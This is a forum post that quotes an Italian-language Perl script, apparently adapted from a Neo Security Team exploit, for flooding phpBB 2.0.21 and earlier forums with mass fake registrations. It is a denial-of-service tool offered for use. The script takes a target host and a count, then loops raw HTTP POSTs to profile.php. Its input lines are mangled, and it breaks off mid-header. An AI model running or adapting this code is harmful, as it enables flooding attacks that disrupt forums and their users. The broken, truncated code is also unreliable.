FORUM DARKERS

Quote#!/usr/bin/perl
##
##  ROSSI46GO  phpbb <=2.0.21 registration flood [Based on NsT-phpBBDoS exploit]
##  Work only with Visualcode on registration disabled
##

use IO::Socket;


print q(-----ROSSI46GO  phpbb <=2.0.21 registration flood-----

----Work only with Visualcode on registration disabled----

);
print q(-----------------------------------------------------------------
);
print q(
Inserisci l'host :  [www.esempio.it]
);
$host = ;
chop ($host);
$host =~ s/http:\/\///ge;

print q(
Inserisci la Path del forum :  (/phpBB2/ oppure /)
);
$pth = ;
chop ($pth);

print q(
Inserisci il nick da usare per il flood di registrazioni :  (nick)
);
$nick = ;
chop ($nick);

print q(
Inserisci il numero di flood di registrazioni :  (numero)
);
$n = ;
chop ($n);
$status = 0;
$cont = 0;


print "\n\nFlood in corso -";

while($cont<$n)
{


$uname = "username=" . "$nick" . "$cont";
$umail = "&email=" . "$nick" . "$cont";
$postit = "$uname"."$umail"."%40hackers.it&new_password=0123456&password_confirm=0123456&icq=&aim=N%2FA&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0¬ifyreply=0¬ifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit";
$lrg = length $postit;

my $sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "80", Proto => "tcp",);

print $sock "POST $pth"."profile.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.:P

Fonte:  Neo Security Team